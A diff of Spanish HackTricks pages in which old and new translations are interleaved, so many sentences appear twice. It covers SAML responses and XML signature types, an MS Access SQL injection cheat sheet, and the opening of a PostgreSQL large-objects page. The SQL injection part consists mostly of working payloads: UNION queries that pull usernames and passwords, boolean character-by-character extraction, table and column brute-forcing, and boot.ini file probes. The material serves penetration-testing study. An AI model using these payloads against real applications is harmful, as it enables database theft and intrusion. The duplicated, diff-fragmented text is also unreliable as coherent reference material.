<saml:AuthnStatement AuthnInstant="2019-03-13T22:44:33Z" SessionIndex="_a52c3c1242663b44b706523f0a2ada454eb997e40a" SessionNotOnOrAfter="2019-03-14T06:44:33Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">epi</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">epi@test.edu</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="first_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">epi</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="last_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">bar</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
```
* **ds:Signature**: Una [Firma XML](https://www.w3.org/TR/xmldsig-core1/#sec-KeyInfo) que protege la integridad y autentica al emisor de la afirmación; la afirmación SAML PUEDE estar firmada pero no es obligatorio. El ejemplo anterior contiene dos elementos ds:Signature. La razón es que uno es la firma del mensaje; la otra es la firma de la afirmación.
* **saml:Assertion**: Contiene información sobre la identidad del usuario y posiblemente otros atributos del usuario.
* **ds:Signature**: Una [Firma XML](https://www.w3.org/TR/xmldsig-core1/#sec-KeyInfo) que protege la integridad y autentica al emisor de la afirmación; la afirmación SAML PUEDE estar firmada pero no es obligatorio. El ejemplo anterior contiene dos elementos ds:Signature. La razón es que uno es la firma del mensaje; el otro es la firma de la Afirmación.
* **saml:Assertion**: Contiene información sobre la identidad del usuario y potencialmente otros atributos del usuario.
* **saml:Subject**: Especifica el principal que es el sujeto de todas las declaraciones en la afirmación.
* **saml:StatusCode**: Un código que representa el estado de la actividad realizada en respuesta a la solicitud correspondiente.
* **saml:Conditions**: Especifica cosas como el tiempo en que una afirmación es válida y que la afirmación está dirigida a un proveedor de servicios particular.
* **saml:AuthnStatement**: Indica que el IdP autenticó al Sujeto de la Afirmación.
* **saml:AttributeStatement**: Contiene Atributos que describen el Sujeto de la Afirmación.
* **saml:Conditions**: Especifica cosas como el tiempo en que una Afirmación es válida y que la Afirmación está dirigida a un Proveedor de Servicios en particular.
* **saml:AuthnStatement**: Declara que el IdP autenticó al Sujeto de la Afirmación.
* **saml:AttributeStatement**: Contiene Atributos que describen al Sujeto de la Afirmación.
Aquí hay una representación visual más sencilla de la misma Respuesta SAML.
![response-layout](https://epi052.gitlab.io/notes-to-self/img/saml/response-layout.png)
Ahora que nos hemos autenticado con el IdP y ha generado la Respuesta SAML anterior, responde a nuestra autenticación con otra redirección 302.
Ahora que nos hemos autenticado con el IdP y este ha generado la Respuesta SAML anterior, responde a nuestra autenticación con otro redireccionamiento 302.
```
HTTP/1.1 302 Moved Temporarily
Date: Tue, 12 Mar 2019 20:54:53 GMT
@ -216,7 +216,7 @@ Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8
```
El código 302 nos lleva finalmente a hacer una petición POST a la URL del Servicio de Consumidor de Aserciones del Proveedor de Servicios. El cuerpo del POST contiene los parámetros RelayState y SAMLResponse. Recordemos que el ACS procesa y valida la Respuesta SAML.
El 302 finalmente nos lleva a realizar una solicitud POST a la URL del Servicio de Consumo de Aserciones (Assertion Consumer Service, ACS) del Proveedor de Servicios. El cuerpo del POST contiene los parámetros RelayState y SAMLResponse. Recuerda que el ACS procesa y valida la Respuesta SAML.
```markup
POST /Shibboleth.sso/SAML2/POST HTTP/1.1
Host: shibdemo-sp1.test.edu
@ -265,83 +265,83 @@ Content-Type: text/html; charset=UTF-8
```
# Firmas XML
Ya casi hemos cubierto todos los conceptos básicos que necesitamos para pasar a las pruebas reales. El último elemento que necesitamos cubrir son las Firmas XML. Curiosamente, las Firmas XML se pueden utilizar para **firmar todo un árbol XML o elementos específicos** dentro del árbol. Ya vimos anteriormente que se utilizaron dos Firmas XML separadas en nuestro ejemplo de Respuesta SAML. Cada firma fue responsable de una parte diferente de la Respuesta. En esta sección, veremos las diferentes formas en que se puede incorporar una Firma XML en un documento XML. Algo a tener en cuenta es que, aunque nuestros ejemplos utilizan el elemento Response como recurso a firmar, las Firmas XML se pueden aplicar a cualquier objeto, incluidos los elementos Assertion.
¡Casi hemos terminado de cubrir todos los conceptos básicos que necesitamos para avanzar hacia las pruebas reales! El último elemento que necesitamos abordar son las Firmas XML. Curiosamente, las Firmas XML pueden usarse para **firmar un árbol XML completo o elementos específicos** dentro del árbol. Ya vimos anteriormente que se utilizaron dos Firmas XML separadas en nuestra Respuesta SAML de ejemplo. Cada firma era responsable de una parte diferente de la Respuesta. En esta sección, veremos las diferentes formas en que una Firma XML puede incorporarse en un documento XML. Algo a tener en cuenta es que, aunque nuestros ejemplos utilizan el elemento Response como el recurso a firmar, las Firmas XML se pueden aplicar a cualquier Objeto, incluyendo los elementos Assertion.
## FIRMA ENCAPSULADA
## FIRMA ENVUELTA
Una firma XML básica se compone de los siguientes elementos.
Una Firma XML básica consta de los siguientes elementos.
```markup
<Signature>
<SignedInfo>
<CanonicalizationMethod />
<SignatureMethod />
<Reference>
<Transforms />
<DigestMethod />
<DigestValue />
</Reference>
<Reference />
</SignedInfo>
<SignatureValue />
<KeyInfo />
<Object />
<SignedInfo>
<CanonicalizationMethod />
<SignatureMethod />
<Reference>
<Transforms />
<DigestMethod />
<DigestValue />
</Reference>
<Reference />
</SignedInfo>
<SignatureValue />
<KeyInfo />
<Object />
</Signature>
```
De particular interés para nosotros es que cada recurso que se va a firmar tiene su propio elemento Reference. El atributo URI del elemento Reference denota qué recurso es firmado por esa firma en particular. Al examinar nuestro ejemplo anterior, podemos ver esto en práctica.
De especial interés para nosotros es que cada recurso a firmar tiene su propio elemento Reference. El atributo URI del elemento Reference denota qué recurso está firmado por esa Signature en particular. Examinando nuestro ejemplo anterior, podemos ver esto en la práctica.
```markup
<samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
...
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
...
...
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
...
</samlp:Response>
```
Lo que vimos en nuestro ejemplo anterior se conoce como una **firma envuelta**. Una firma envuelta es una firma que es un descendiente del recurso que está firmando. Podemos ver que se nos muestra en el elemento ds:Transform de nuestro ejemplo.
Lo que vimos en nuestro ejemplo anterior es conocido como una **firma envuelta**. Una firma envuelta es una firma que es descendiente del recurso que está firmando. Podemos ver eso detallado para nosotros en el elemento ds:Transform de nuestro ejemplo.
```markup
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
...
</ds:Transforms>
...
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
...
</ds:Transforms>
...
</ds:Reference>
```
## FIRMA DE ENVOLTURA
## FIRMA ENVOLVENTE
Además de las firmas envueltas, existen las **firmas de envoltura** donde la firma envuelve el recurso, en lugar de lo contrario.
Además de las firmas envueltas, existen las **firmas envolventes** donde la firma envuelve al recurso, en lugar de al revés.
```markup
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
...
</ds:Reference>
</ds:SignedInfo>
<samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
...
</samlp:Response>
<ds:SignedInfo>
...
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
...
</ds:Reference>
</ds:SignedInfo>
<samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
...
</samlp:Response>
</ds:Signature>
```
## FIRMA DESVINCULADA
## FIRMA DESCONECTADA
Finalmente, existen las **firmas desvinculadas**. Una firma desvinculada no envuelve ni está envuelta por el recurso que se va a firmar. En su lugar, está completamente separada del recurso firmado.
Finalmente, existen las **firmas desconectadas**. Una firma desconectada no envuelve ni está envuelta por el recurso a firmar. En cambio, es completamente separada del recurso firmado.
```markup
<samlp:Response ... ID="_2af3ff4a06aa82058f0eaa8ae7866541" ... >
...
...
</samlp:Response>
<ds:Signature>
<ds:SignedInfo>
...
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
...
</ds:Reference>
</ds:SignedInfo>
<ds:SignedInfo>
...
<ds:Reference URI="#_2af3ff4a06aa82058f0eaa8ae7866541">
...
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
```
# Referencias
@ -351,16 +351,14 @@ La mayor parte del contenido fue copiado de [https://epi052.gitlab.io/notes-to-s
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,27 +2,25 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Playground en línea
## Entorno de Práctica en Línea
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## Limitaciones de la BD
### Concatenación de cadenas
### Concatenación de Cadenas
La concatenación de cadenas es posible con los caracteres `& (%26)` y `+ (%2b)`.
```sql
@ -31,68 +29,70 @@ La concatenación de cadenas es posible con los caracteres `& (%26)` y `+ (%2b)`
```
### Comentarios
No hay comentarios en MS Access, pero aparentemente es posible eliminar el último carácter de una consulta con un carácter NULL:
No hay comentarios en MS Access, pero aparentemente es posible eliminar el final de una consulta con un carácter NULL:
```sql
1' union select 1,2 from table%00
```
Si esto no funciona, siempre puedes arreglar la sintaxis de la consulta:
Si esto no funciona, siempre podrías corregir la sintaxis de la consulta:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Consultas apiladas
### Consultas Apiladas
No son compatibles.
### LIMIT
El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de una consulta SELECT a las **primeras N filas de la tabla usando el operador `TOP`**. `TOP` acepta como argumento un número entero que representa el número de filas que se deben devolver.
El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de una consulta SELECT a **las primeras N filas de la tabla usando el operador `TOP`**. `TOP` acepta como argumento un entero, que representa el número de filas a devolver.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Al igual que TOP, se puede usar **`LAST`** para obtener las **filas desde el final**.
Al igual que **`TOP`**, puedes usar **`LAST`** que obtendrá las **filas desde el final**.
## Consultas de UNION/Subconsultas
## Consultas UNION/Subconsultas
En una inyección SQL, normalmente se querrá ejecutar una nueva consulta para extraer información de otras tablas. MS Access siempre requiere que en **subconsultas o consultas adicionales se indique un `FROM`**.\
Por lo tanto, si se desea ejecutar un `UNION SELECT` o `UNION ALL SELECT` o un `SELECT` entre paréntesis en una condición, siempre **se necesita indicar un `FROM` con un nombre de tabla válido**.\
Por lo tanto, se necesita conocer un **nombre de tabla válido**.
En un SQLi, generalmente querrás ejecutar una nueva consulta para extraer información de otras tablas. MS Access siempre requiere que en **subconsultas o consultas adicionales se indique un `FROM`**.\
Por lo tanto, si deseas ejecutar un `UNION SELECT` o `UNION ALL SELECT` o un `SELECT` entre paréntesis en una condición, siempre **necesitas indicar un `FROM` con un nombre de tabla válido**.\
Por lo tanto, necesitas conocer un **nombre de tabla válido**.
```sql
-1' UNION SELECT username,password from users%00
```
### Encadenamiento de iguales + Subcadena
### Encadenamiento de igualdades + Subcadena
{% hint style="warning" %}
Esto te permitirá extraer valores de la tabla actual sin necesidad de conocer el nombre de la tabla.
Esto te permitirá exfiltrar valores de la tabla actual sin necesidad de conocer el nombre de la tabla.
{% endhint %}
**MS Access** permite una sintaxis extraña como **`'1'=2='3'='asd'=false`**. Como usualmente la inyección SQL estará dentro de una cláusula **`WHERE`**, podemos abusar de esto.
**MS Access** permite una **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como usualmente la inyección SQL estará dentro de una cláusula **`WHERE`**, podemos abusar de eso.
Imagina que tienes una inyección SQL en una base de datos de MS Access y sabes (o adivinaste) que el nombre de una **columna es username**, y ese es el campo que quieres **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se usa la técnica de encadenamiento de iguales y potencialmente exfiltrar contenido con una inyección booleana usando la función **`Mid`** para obtener subcadenas.
Imagina que tienes una SQLi en una base de datos de MS Access y sabes (o supones) que el nombre de una **columna es username**, y ese es el campo que quieres **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de encadenamiento de igualdades y potencialmente exfiltrar contenido con una **inyección booleana** utilizando la función **`Mid`** para obtener subcadenas.
```sql
'=(Mid(username,1,3)='adm')='
```
Si conoces el **nombre de la tabla** y la **columna** que deseas extraer, puedes utilizar una combinación de `Mid`, `LAST` y `TOP` para **filtrar toda la información** a través de una inyección SQL booleana:
Si conoces el **nombre de la tabla** y **columna** para extraer, puedes usar una combinación de `Mid`, `LAST` y `TOP` para **filtrar toda la información** a través de SQLi booleano:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
### Fuerza bruta de nombres de tablas
_Siéntase libre de verificar esto en el playground en línea._
Usando la técnica de encadenamiento de iguales, también puedes **realizar una fuerza bruta de nombres de tablas** con algo como:
### Fuerza bruta en nombres de tablas
Usando la técnica de encadenamiento de iguales también puedes **fuerza bruta en nombres de tablas** con algo como:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
También se puede utilizar un método más tradicional:
También puedes usar un método más tradicional:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Siéntete libre de comprobar esto en el playground en línea._
_No dudes en verificar esto en el playground en línea._
* Nombres comunes de tablas en Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Hay otra lista en [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Fuerza bruta de nombres de columnas
### Fuerza bruta en nombres de columnas
Puedes **forzar por fuerza bruta los nombres de las columnas actuales** con el truco de encadenamiento de iguales con:
Puedes **fuerza bruta en los nombres de columnas actuales** con el truco de encadenar iguales con:
```sql
'=column_name='
```
@ -100,46 +100,46 @@ O con un **group by**:
```sql
-1' GROUP BY column_name%00
```
O puedes hacer fuerza bruta en los nombres de columna de una **tabla diferente** con:
O puedes forzar bruscamente los nombres de columnas de una **tabla diferente** con:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Volcado de datos
### Extracción de datos
Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-injection.md#chaining-equals-+-substring) **para volcar datos de las tablas actuales y otras**. Pero hay otras formas:
Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-injection.md#chaining-equals-+-substring) **para extraer datos de la tabla actual y otras tablas**. Pero hay otros métodos:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
En resumen, la consulta utiliza una declaración "si-entonces" para activar un "200 OK" en caso de éxito o un "500 Error interno" en caso contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. En ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Cambiando adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "nombre de usuario" para todas las filas.
En resumen, la consulta utiliza una declaración "if-then" para desencadenar un "200 OK" en caso de éxito o un "500 Error Interno" de lo contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso subsiguiente de LAST permite considerar solo la décima tupla. Sobre dicho valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Cambiando adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
### Basado en tiempo
### Basado en Tiempo
Consulte [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
Consulta [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Otras funciones interesantes
* `Mid('admin',1,1)` obtener subcadena desde la posición 1 longitud 1 (la posición inicial es 1)
* `Mid('admin',1,1)` obtener subcadena desde la posición 1 con longitud 1 (la posición inicial es 1)
* `LEN('1234')` obtener longitud de cadena
* `ASC('A')` obtener valor ascii del carácter
* `CHR(65)` obtener cadena a partir del valor ascii
* `ASC('A')` obtener valor ascii de carácter
* `CHR(65)` obtener cadena desde valor ascii
* `IIF(1=1,'a','b')` si entonces
* `COUNT(*)` Contar número de elementos
## Enumerando tablas
Desde [**aquí**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) puede ver una consulta para obtener los nombres de las tablas:
Desde [**aquí**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) puedes ver una consulta para obtener nombres de tablas:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Sin embargo, tenga en cuenta que es muy común encontrar Inyecciones SQL donde **no se tiene acceso para leer la tabla `MSysObjects`**.
Sin embargo, ten en cuenta que es muy típico encontrar Inyecciones SQL donde **no tienes acceso para leer la tabla `MSysObjects`**.
## Acceso al sistema de archivos
@ -157,11 +157,11 @@ El siguiente vector de ataque se puede utilizar para **inferir la existencia de
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Otra forma de enumerar archivos consiste en **especificar un elemento de base de datos.tabla**. **Si** el **archivo especificado existe**, MS Access muestra un **mensaje de error de formato de base de datos**.
Otra forma de enumerar archivos consiste en **especificar un elemento database.table**. **Si** el **archivo especificado existe**, MS Access muestra un **mensaje de error de formato de base de datos**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Adivinanza del nombre del archivo .mdb
### Adivinación del nombre de archivo .mdb
El **nombre del archivo de base de datos (.mdb)** se puede inferir con la siguiente consulta:
@ -169,7 +169,7 @@ El **nombre del archivo de base de datos (.mdb)** se puede inferir con la siguie
Donde **name\[i] es un nombre de archivo .mdb** y **realTable es una tabla existente** dentro de la base de datos. Aunque MS Access siempre desencadenará un mensaje de error, es posible distinguir entre un nombre de archivo inválido y un nombre de archivo .mdb válido.
### Descifrador de contraseñas .mdb
### Rompedor de contraseñas .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) es una utilidad gratuita que se puede utilizar para recuperar la contraseña principal de la base de datos de Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
@ -179,16 +179,14 @@ Donde **name\[i] es un nombre de archivo .mdb** y **realTable es una tabla exist
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
</details>

View file

@ -1,35 +1,50 @@
# PostgreSQL Objetos Grandes
<details>
PostgreSQL expone una estructura llamada **objeto grande** (**tabla pg_largeobject**), que se utiliza para almacenar datos que serían difíciles de manejar en su totalidad (como una imagen o un documento PDF). A diferencia de la función `COPY TO`, la ventaja de los **objetos grandes** radica en el hecho de que los **datos** que **contienen** se pueden **exportar de vuelta** al **sistema de archivos** como una **copia idéntica del archivo original importado**.
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Para **guardar un archivo completo dentro de esta tabla**, primero debes **crear un objeto** dentro de la tabla mencionada (identificado por un **LOID**) y luego **insertar fragmentos de 2KB** dentro de este objeto. Es muy importante que todos los **fragmentos tengan 2KB** (excepto posiblemente el último) **o** la función de **exportación** al sistema de archivos **no funcionará**.
Otras formas de apoyar a HackTricks:
Para **dividir** tu **binario** en **fragmentos** de tamaño **2KB**, puedes hacer:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Objetos Grandes en PostgreSQL
PostgreSQL expone una estructura llamada **objeto grande** (tabla `pg_largeobject`), que se utiliza para almacenar datos que serían difíciles de manejar en su totalidad (como una imagen o un documento PDF). A diferencia de la función `COPY TO`, la ventaja de los **objetos grandes** radica en el hecho de que los **datos** que **contienen** pueden ser **exportados de nuevo** al **sistema de archivos** como una **copia idéntica del archivo original importado**.
